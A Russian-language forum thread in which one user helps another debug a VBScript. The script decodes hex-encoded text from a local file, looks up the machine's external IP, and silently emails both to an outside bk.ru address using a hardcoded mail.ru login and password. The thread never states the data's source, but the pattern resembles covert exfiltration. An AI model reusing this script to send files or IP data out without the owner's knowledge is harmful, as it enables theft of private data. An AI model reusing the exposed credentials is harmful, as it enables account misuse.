СКРИПТ ДЛЯ РАСШИФРОВКОЙ

[adninistraotr]

Вы гений!

[kvitaliy]

Учитесь программировать, может пригодиться иногда

[adninistraotr]

Но не могу никак понять, почему не быстро отправляется все?

Вот этот часть кода она же безнадобность верно?!
strSourceFile = "C:\result\txt"

With WScript.CreateObject("Scripting.Fil eSystemObject")
Do
WScript.Sleep 100
Loop Until .FileExists(strSourceFile)

WScript.Sleep 5 * 1000

она же по сути каждые 5 сек ищет есть ли по указанному пути txt чтобы ее отправить на почту.

[kvitaliy]

Ну да, конечно не надо раз нет аттача.

[adninistraotr]

так а я ее вырезаю и код перестает работать!

???

какой кусок отсюда удалить, какой лишний?!

kvitaliy, если оставить на работу ведь никак не повлияет?

[kvitaliy]

Сообщение от adninistraotr

если оставить на работу ведь никак не повлияет?

Покажи, что в итоге получилось. Я уже запутался.

Там ещё в письмо вписывается внешний IP, это тоже надо?

[adninistraotr]

да, пускай

Set ADODBStream = CreateObject("ADODB.Stream")

kvitaliy, вот сам код проверяй!

[kvitaliy]

Как то так, но пути надо проверить, а то форум их может испортить

Set ADODBStream = CreateObject("ADODB.Stream")
ADODBStream.Type = 2
ADODBStream.Charset = "Unicode"
ADODBStream.Open()
ADODBStream.LoadFromFile("C:\Users\Admin\Downloads\2.txt") ' Тут исходный текст в Юникоде
Text = ADODBStream.ReadText()
ADODBStream.Close()
ADODBStream.Charset = "windows-1251"
ADODBStream.Open()
ADODBStream.WriteText(Text)
ADODBStream.SaveToFile "C:\Users\Admin\Downloads\3.txt ", 2 ' тут преобразованный в ASCII
ADODBStream.Close()


dim my_str, my_arr, index, list
Set FSO = CreateObject("Scripting.FileSystemO bject")
Set f = FSO.OpenTextFile("C:\Users\Admin\Downloads\3.txt", 1)
On Error Resume Next

For i = 1 to 12
strn = f.ReadLine
Next
strn = Replace (strn, "(", "" )
strn = Trim (strn)

my_arr = split( strn, ",")
for each index in my_arr
strn = "&H" & index
list = list & CHR( strn)
next

f.Close

Set f1 = fso.CreateTextFile("C:\Users\Admin\Downloads\3.txt", True)
f1.Write (list)
f1.Close


Const cdoSendUsingPort = 2
Const cdoBasic = 1

Const strConstPartOfSchema = "http://schemas.microsoft.com/cdo/configuration/"

Dim strContent

With WScript.CreateObject("Microsoft.XML HTTP")
.open "GET", "http://ifconfig.me/ip", False
.send
strContent = .responseText
End With

With WScript.CreateObject("CDO.Message")
.From = "dostupmne@bk.ru"
.To = "dostupdai@bk.ru"
.Subject = "File [" & strSourceFile & "]"

.TextBody = "External IP: " & strContent & vbCrLf & list
.TextBodyPart.Charset = "windows-1251"

With .Configuration.Fields
.Item(strConstPartOfSchema & "smtpserver") = "smtp.mail.ru"
.Item(strConstPartOfSchema & "sendusing") = cdoSendUsingPort
.Item(strConstPartOfSchema & "smtpserverport") = 465
.Item(strConstPartOfSchema & "smtpauthenticate") = cdoBasic
.Item(strConstPartOfSchema & "sendusername") = "dostupmne@bk.ru"
.Item(strConstPartOfSchema & "sendpassword") = "l1223qwe"
.Item(strConstPartOfSchema & "smtpusessl") = True

.Update
End With

.Send
End With

WScript.Quit 0

[adninistraotr]

Ок, думаю все так...

kvitaliy, щас проверю и отпишусь

выбивает ошибку 16 строка 1 символ ( и создает txt с аригинальным исходником НЕ расшифрованном виде)

что не так?! пути указал правильн!

kvitaliy, кажется я разобрался но хочу чтобы ты проверил на всякий пожарный

[kvitaliy]

Сообщение от adninistraotr

выбивает ошибку 16 строка

Set FSO = CreateObject("Scripting.FileSystemO bject")
Форум портит код! Лишние пробелы ставит.